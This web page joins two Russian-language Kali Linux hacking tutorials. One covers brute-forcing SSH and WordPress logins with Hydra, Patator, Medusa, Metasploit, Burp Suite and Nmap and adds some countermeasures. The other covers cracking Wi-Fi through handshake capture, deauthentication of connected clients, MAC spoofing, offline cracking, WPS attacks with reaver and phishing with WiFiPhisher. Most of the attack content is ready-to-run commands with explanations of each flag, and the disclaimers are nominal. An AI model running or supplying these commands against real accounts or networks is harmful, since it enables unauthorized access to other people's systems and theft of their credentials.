- Brute-force атаки с использованием Kali Linux
- Brute-force SSH
- Противодействие
- Brute-force WordPress
- Противодействие
- Заключение
- Взлом Wi-Fi с помощью Kali Linux: записки очкастого эксперта
- Общая теория
- Хэндшейк
- Теория взлома через хэндшейк
- Wifite
- Включаем адаптер и выбираем сеть
- Перехватываем хэндшейк
- Проверяем и чистим перехваченный хэндшейк
- Расшифровка пароля
- Фишинг
- Брутфорс
- Начинающим безопасникам
Brute-force атаки с использованием Kali Linux
Brute-force (атака полным перебором) – метод решения математических задач, сложность которого зависит от количества всех возможных решений. Сам же термин brute-force обычно используется в контексте хакерских атак, когда злоумышленник пытается подобрать логин/пароль к какой-либо учетной записи или сервису.
Рассмотрим инструменты, которые можно использовать для выполнения brute-force атак на SSH и WEB-сервисы, доступные в Kali Linux (Patator, Medusa, Hydra, Metasploit), а также BurpSuite.
Все материалы, предоставленные в рамках данной статьи, предназначены для использования исключительно в учебных целях. Использование материалов в противоправных и противозаконных запрещено.
Brute-force SSH
Для примера возьмем тестовую машину 192.168.60.50 и попробуем подобрать пароль пользователя test по SSH. Мы будем использовать популярные пароли из стандартного словаря rockyou.txt.
Patator
Для подбора пароля средствами Patator используем команду:
patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg=’Authentication failed’
где:
ssh_login — необходимый модуль
host – наша цель
user – логин пользователя, к которому подбирается пароль или файл с логинами для множественного подбора
password – словарь с паролями
-x ignore:mesg=’Authentication failed’ — команда не выводить на экран строку, имеющую данное сообщение. Параметр фильтрации подбирается индивидуально.
Hydra
Для подбора пароля используя Hydra выполним команду:
hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50
где:
-V – показывать пару логин+пароль во время перебора
-f – остановка как только будет найден пароль для указанного логина
-P – путь до словаря с паролями
ssh://192.168.60.50 – указание сервиса и IP-адрес жертвы
Medusa
Для подбора пароля с использованием Medusa выполним команду:
medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6
где:
-h – IP-адрес жертвы
-u – логин
-P – путь к словарю
-M – выбор модуля
-f – остановка после нахождения валидной пары логин/пароль
-v – настройка отображения сообщений на экране во время процесса подбора
Metasploit
Произведем поиск инструмента для проведения brute-force атаки по SSH:
search ssh_login и получили ответ:
Для просмотра необходимых параметров, воспользуемся командой show options . Для нас это:
rhosts – IP-адрес жертвы
rport – порт
username – логин SSH
userpass_file – путь до словаря
stop_on_success – остановка, как только найдется пара логин/пароль
threads – количество потоков
Указание необходимых параметров производится через команду «set«.
set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22
Указав необходимые параметры набираем команду «run» и ждем.
Противодействие
Ограничить количество устанавливаемых соединений с использованием межсетевого экрана. Пример настройки iptables:
-A INPUT -i eth0 -p tcp —dport 22 -m connlimit —connlimit-above 1 —connlimit-mask 32 -j REJECT —reject-with tcp-reset .
Такое правило установит ограничение доступа к SSH для каждого IP-адреса до 1 соединения в секунду, значительно усложнив перебор. Также эффективным решением может быть использование двухфакторной аутентификации (например, используя eToken) или аутентификации с использованием ключевой пары, а также использование ACL на основе IP-адресов.
Brute-force WordPress
Рассмотрим другой пример — подбор пароля окна авторизации веб-формы.
Для примера будем подбирать пароль от учетной записи администратора wordpress.
BurpSuite
Для начала нам необходимо понять, как происходит процесс авторизации. Для этого мы будем использовать BurpSuite. Нам необходимо попробовать авторизоваться с любым паролем и логином, чтобы посмотреть какие запросы проходят через BurpSuite.
Отлично, мы увидели POST запрос для авторизации с ним мы и будем работать.
В BODY указано какой логин и пароль проверялись, а значит, мы можем попробовать самостоятельно подставить нужные нам значения.
Передаем этот запрос в Intruder и там выбираем необходимые параметры для атаки. В пункте Payload Positions тип атаки оставляем sniper, но для проверки оставляем только параметр pwd. Таким образом, при атаке будет изменяться только этот параметр.
Загружаем необходимый словарь и начинаем атаку.
Из поведения веб-приложения мы видим, что неверный пароль возвращает код ответа 200. После перебора словаря, видим, что один из паролей дал ответ с кодом 302 — он и является верным.
Данный метод перебора занимает намного больше времени, чем при использовании Patator, Hydra, Medusa и т.д. Даже с учетом того, что мы взяли небольшой словарь, BurpSuite перебирал словарь около 40 минут.
Hydra
Попробуем подобрать пароль с помощью Hydra.
Как мы уже знаем, при неверной авторизации возвращается код 200, а при успешной – 302. Попробуем использовать эту информацию.
Для запуска используем команду:
hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m «/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302»
Здесь мы указываем обязательные параметры:
-l – имя пользователя
-P – словарь с паролями
-t – количество потоков
http-post-form – тип формы, у нас POST.
/wp-login.php – это URL страницы с авторизацией
^USER^ — показывает куда подставлять имя пользователя
^PASS^ — показывает куда подставлять пароль из словаря
S=302 – указание на какой ответ опираться Hydra. В нашем случае, ответ 302 при успешной авторизации.
Patator
Как мы уже знаем, при неудачной авторизации возвращается код 200, а при удачной – 302. Будем использовать тот же принцип, что и с Hydra:
Запуск производится командой:
patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body=’log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1′ 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1
http_fuzz – модуль для brute-force атаки http
url – адрес страницы с авторизацией
FILE0 — путь до словаря с паролями
body – информация, которая передается в POST запросе при авторизации
-t — количество потоков
-x – В данном случае мы указали команду не выводить на экран сообщения строки, содержащие параметр с кодом 200
accept_cookie – сохранение параметра cookie и передачи его в следующий запрос
Как итог – нам удалось подобрать пароль.
Nmap
Утилита Nmap позволяет в том числе производить подбор паролей для веб-форм авторизации, если использовать скрипт http-wordpress-brute с соответствующими аргументами:
—script-args – добавление аргументов
user или userdb – логин или файла с логинами
pass или passdb — указание пароля или словаря
thread – количество потоков
firstonly=true – выводить результат после первого же правильного пароля
nmap 192.168.60.50 —script http-wordpress-brute —script-args ‘user= admin,passdb= /root/wordlist, http-wordpress-brute.thread=3, brute.firstonly=true’
Противодействие
Ограничить (усложнить) brute-force атаки на web-приложения можно средствами iptables (по аналогии с SSH) и средствами nginx. Для этого необходимо создать зону лимитов:
.
limit_req_zone $binary_remote_addr zone=req_limits:10m rate=30r/s;
.
и задействовать ее:
location / <
.
limit_req zone=req_limits burst=10;
limit_req_status 429;
.
>
Такие настройки позволят ограничить количество запросов с одного IP-адреса до 40 в секунду.
Усложнить задачу перебора можно используя следующие методы:
— Применение межсетевого экрана и прочего ПО для ограничения количества обращений к защищаемому сервису. О том, как мы используем машинное обучение для выявления подобных атак (в том числе распределенных), можно почитать в статье.
— Использование средств, препятствующих быстрой проверке корректности ключа (например, Captcha).
Заключение
В данной статье мы поверхностно рассмотрели некоторые популярные инструменты. Сократить риск подбора пароля можно, следуя следующим рекомендациям:
— используйте устойчивые к подбору пароли;
— не создавайте пароли, используя личную информацию, например: дату рождения или имя + дата рождения или мобильный телефон;
— регулярно меняйте пароль;
— на всех аккаунтах применяйте уникальные пароли.
Подобные рекомендации (как и рекомендации по безопасной веб-разработке) мало кто соблюдает, поэтому необходимо использовать различные программные решения, позволяющие:
— ограничить подключение по IP-адресу, или, если это невозможно, ограничить одновременное количество соединений с сервисом (средствами iptables, nginx и прочими);
— использовать двухфакторную аутентификацию;
— выявлять и блокировать подобные атаки средствами SIEM, WAF или другими (например, fail2ban).
Источник
Взлом Wi-Fi с помощью Kali Linux: записки очкастого эксперта
Привет! Если уж ты попал в эту статью, значит уже кое-чего понимаешь в процессе тестирования на проникновение беспроводных сетей. Беда большей части людей – они верят, что все легко ломается в пару кликов, но даже не хотят ничего читать и учиться. Эта статья будет посвящена взлому Wi-Fi с помощью Kali Linux – единственно верному инструменту тестировщика безопасности, в том числе и сетей Wi-Fi.
Kali Linux включает в себя все необходимое для проведения абсолютно любого взлома. Все что нужно – установить ее, и больше не нужно будет бегать в поисках различных программ под ту или иную задачу. Для Wi-Fi здесь тоже предоставлен целый комбайн приложений и скриптов, с которыми мы и собираемся немного познакомиться в этой статье.
Всего рассмотреть зараз невозможно. У каждой задачи есть много решений, а для каждого решения найдется еще и парочка своих программ. Если знаете что-то лучшее – обязательно напишите об этом в комментариях. Поделитесь с другими!
WiFiGid.ru и автор статьи Ботан не призывают к взлому чужих сетей. Проверяйте инструментарий Kali Linux исключительно на своих точках доступа в образовательных целях!
Все нижеизложенное можно провернуть и на родственной Ubuntu, но придется вручную поставить все упоминаемые утилиты.
Общая теория
Общую статью по взлому и безопасности я уже писал ЗДЕСЬ – собраны в одном месте все подходы и лучшие методички. Обязательно ознакомься с ней!
А тем же, кто жуткий тюлень и не любит читать чужие подробные мануалы, вот краткий список актуальных возможностей, применяемых над текущими сетями:
- Перехват хэндшейка – отключаем всех от сети, ловим пакет с авторизацией любого клиента, расшифровываем его.
- Брутфорс паролей – перебор всех возможных паролей по словарю – с появление WPA2 используется все реже, но имеет право на жизнь.
- WPS – или перебор, или использование стандартных паролей к быстрому подключению WPS там, где его забыли отключить.
- Фишинг – подброс левой страницы пользователю вайфая, с запросом на ввод пароля от него (например, под предлогом срочного обновления прошивки).
Существуют и иные подходы к получению доступа, их я вынес в предложенную статью выше. В этой же статье хотелось бы затронуть основные техники при использовании Kali. И начнем мы с хэндшейка.
Хэндшейк
Это самый актуальный метод, который позволяет получить пароль без постоянного дергания сети. Т.е. вы получаете пакет, а уже поток оффлайн пытаетесь подобрать к нему пароль с использованием всех своих вычислительных мощностей – как итог нет никаких задержек сети на проверку пароля, нет банов от роутера, можно подключать реально все свои мощи – а на выходе скорость получения пароля увеличивается.
Товарищ! Я знаю, что ты все равно веришь в возможность взлома в один клик любой сети, но спешу тебя разочаровать – это не так. И даже Kali Linux тут бессильна. Есть сети со сложными паролями, расшифровка которых займет очень много… лет.
Есть несколько вариантов работы здесь:
- Используем готовые скрипты – вроде wifite.
- Пытаемся все этапы пройти руками и использовать классический Aircrack-ng.
Опытный хацкер должен на своей шкуре проверить по возможности все актуальные инструменты, чтобы в боевой среде не попасть в просак в случае отказа одного из них. Поэтому по любому придется знать немного теории.
Теория взлома через хэндшейк
Здесь я хочу показать основные шаги, которые проделывают при использовании этого метода. Вот что делают профи:
- Убеждаются, что есть адаптер Wi-Fi. В случае его отсутствия – ставят внешний.
- Переводят адаптер в режим мониторинга. Адаптер должен это поддерживать. В обычном режиме он не умеет сканировать окружающие сети, так что приходится немного поработать.
- Сканируют окружение – выбирают нужную сеть для атаки.
- Начинают ее «слушать». Ждут подключения любого пользователя к сети, в этот момент перехватывают пакет «хэндшейка», который содержит зашифрованный пароль. Если есть подключенные пользователи, можно ускорить процесс – насильно выкинуть пользователей из сети и словить их подключение.
- Очищают перехваченный пакет для программ, которые уже будут перебирать пароли.
- Запихивают очищенный хэндшейк в брутеры и пытаются подобрать к ним пароль – прямым перебором или по подготовленному словарю. Этот этап обычно самый долгий и может затянуться на годы, так что пароль за это время могут и поменять) Но это все равно намного быстрее чем простой брут сети. К тому же существуют сервисы, которые уже имеют подобранные пароли к хэндшэйкам – остается только загрузить его, оплатить и получить пароль.
Вот и все. Теперь немного больше информации. Но если вдруг что-то останется вне этой статьи – пишите в комментарии, будем дополнять.
Wifite
Начнем с простого. Существуют скрипты, которые по максимуму пытаются автоматизировать весь процесс за нас, запуская те же программы в нужном порядке. Wifite – одна из них. Чтобы было нагляднее, гляньте сначала это видео:
Интересно? И правда, что может быть круче:
- Все, что нужно, это указать атакуемые сети.
- Программа сама начнет работу на все возможные варианты получения доступа. И WPA2 с рукопожатиями, и атаки на WPS.
- А еще ей же можно указать свой словарь для перебора паролей:
Все просто и эффективно! Те же, кто считает, что этот способ для слабаков и не достоен священной бороды сисадмина, добро пожаловать в полный способ.
Включаем адаптер и выбираем сеть
Сначала посмотрим на свои беспроводные интерфейсы:
Здесь наша задача найти как именуется наш беспроводной интерфейс. Здесь – wlan1. Это нам пригодится. Далее смотрим, какие сети существуют вокруг и активируем сканирование:
ifconfig wlan1 up
iwlist wlan1 scanning
Команды включат адаптер и заставят его просканировать все окружение на прочие сети:
Здесь наша задача выбрать нужную сеть, запомнить ее имя (ESSID), MAC адрес (Address) и канал (Channel). Записали? Тогда переходим дальше.
Перехватываем хэндшейк
Прежде чем активировать перехват рукопожатия, нужно перевести сетевую карту в режим мониторинга:
Обращаем внимание на найденный выше wlan1. Он же в адаптерах добавится как wlan1mon – проверьте этот момент. Если появятся предупреждения о том, что какие-то процессы мешают переводу – многие руководства в ютубе рекомендуют убивать их наглухо (airmon-ng check kill). Но сначала лучше проверить интерфейсы, а то вдруг он ругается попусту, и сам уже перевел все.
По собранным выше данным, активируем перехват:
airodump-ng wlan0mon –-bssid FC:8B:97:57:97:A9 –-channel 2 -–write handshake –-wps
Программа начинает слушать сеть, здесь же видны подключенные к ней клиенты:
Если вдруг вас банят по MAC адресу, всегда можно его заменить (использовать только в тогда, когда явно что-то идет не так):
ifconfig wlan0 down
ifconfig wlan0 hw ether 00:11:22:AA:AA:AA
ifconfig wlan0 up
Тема замены МАК-адреса обширна и не входит в задачи этой статьи. Так что кому нужно – или метод выше, или используют поиск по нашему сайту.
Чтобы не ждать долго, когда же наш пользователь соизволит переподключиться к сети, можно его насильно выкинуть оттуда:
aireplay-ng -0 10 –a FC:8B:97:57:97:A9 –c 68:3E:34:15:39:9E wlan0mon
Ждать обычно долго не приходится, в правом верхнем углу перехватчика отобразится надпись handshake – на этом процесс можно прекращать:
Проверяем и чистим перехваченный хэндшейк
Теперь полученный пакет нам нужно проверить – точно ли все правильно, и там нет никаких ошибок:
где handshake-01.cap – имя перехваченного выше файла, –c – режим проверки, а не брута.
Для примера были запущены 2 разных теста. В первом из них ничего не оказалось, во втором же все необходимое присутствовало.
Очистить полученный хэндшейк от примеси можно при помощи следующей команды:
wpaclean handshake-01.cap wpacleaned.cap
В первой позиции стоит перехваченный пакет, во втором – название файла для записи очищенного.
Истинные профи могут для этой же цели использовать WireShark, но в рамках тематики статьи и аудитории остановимся на этом способе. Теперь пришло самое время достать наш пароль.
Расшифровка пароля
Помнишь, я в начале говорил о том, что мы тут сможем задействовать все наши мочи? Так это чистая правда – перебор можно делать как на CPU, так и на GPU. Круто?
Для CPU:
aircrack-ng wpacleaned.cap –w wordlist.txt
Тут все понятно – вордлист должен содержать ваш список паролей. В Кали есть уже заготовленные списки, но лучше продумать все заранее (помните, что длина пароля в WPA2 – 8-32 символа). Если повезло, то увидите свой пароль:
Для GPU:
pyrit –r wpacleaned.cap –i wordlist.txt attack_passthrough
Для тех, у кого реально мощные видеокарты, это ускорит процесс. Но не забываем об установке драйверов, а то Линукс не все держит проприетарным.
Вот и все! Это действительно самый правильный метод в настоящее время получения пароля. Все остальные – бабкины сказки (особенно касаемо взламывателей на телефон).
Фишинг
Это еще один метод получения доступа, основанный на социальной инженерии. Клиенту сети показывается подложный сайт, например, с просьбой обновить ПО роутера, и просится ввести пароль от Wi-Fi. В Kali Linux самый популярный инструмент для этой цели, пожалуй, – WiFiPhisher.
Останавливаться на теории здесь не стоит, атака специфичная и рассчитана на неграмотность человека на том конце (хотя для подобных атак можно запутать и грамотного специалиста). Так что к просмотру видео:
Еще одна актуальная техника быстрого взлома – перебор WPS. Для тех, кто не курсе, WPS – код для быстрого подключения к роутеру. Состоит всего из 8 цифр, при этом 8я является контрольной на основе первых семи. Т.е. вариантов перебора остается не так уж и много.
К тому же некоторые роутеры неправильно генерировали случайные числа, что еще больше увеличивало вероятность взлома (уязвимость pixie dust). Тот же wifite выше проверял и эту уязвимость, здесь же поговорим о другом инструменте.
Получить список точек доступа с данными о WPS можно с помощью WASH:
Здесь Lck No означает, что WPS не блокирован (можно использовать). Уязвимые вендоры – Ralink, Broadcom и Realtek. Для перебора WPS сейчас лучшая утилита reaver. Используем ее:
reaver -i интерфейс -b MAC_адрес_точки -K
Для того, чтобы вытащить пароль, используем следующие команды:
reaver -i wlan0 -b EE:43:F6:CF:C3:08 -p 36158805 (здесь -p узнанный выше PIN-код)
reaver -i интерфейс -b MAC_адрес (если не сработала команда выше)
Брутфорс
Совсем не буду останавливаться на этой теме здесь – а то еще людей уведет в глубокие дебри ожидания. Кали и Aircrack поддерживают и стандартный брутфорс паролей всех сортов, в том числе и по маске, но, откровенно говоря, это уже каменный век. Ладно если вам удалось добыть WEP сеть, но современные WPA на такой метод уже не ведутся. Тем более после пришедшего на замену метода с перехватом рукопожатия – используйте его.
Начинающим безопасникам
Раздел для того, чтобы больше напомнить начинающим пользователям Кали, о классной возможности. Почему-то многих отпугивает необходимость установки Kali, особенно когда речь идет об основной машине. А ведь с виртуальной машины не все функции будут доступны (вроде отсутствия поддержки встроенных Wi-Fi адаптеров). Но тут есть выход – Live-режим.
Подготавливаете загрузочный диск или флешку с Кали, запускаетесь с него, выбираете Live-режим – и вот у вас уже полноценная система без необходимости установки и убийства основной операционки. Пользуемся!
Вот и все! Если остаются вопросы или есть свои предложения – пишите ниже. Может все выше уже перестало работать, и именно ваш совет спасет кого-то. Всем хорошего дня!
Источник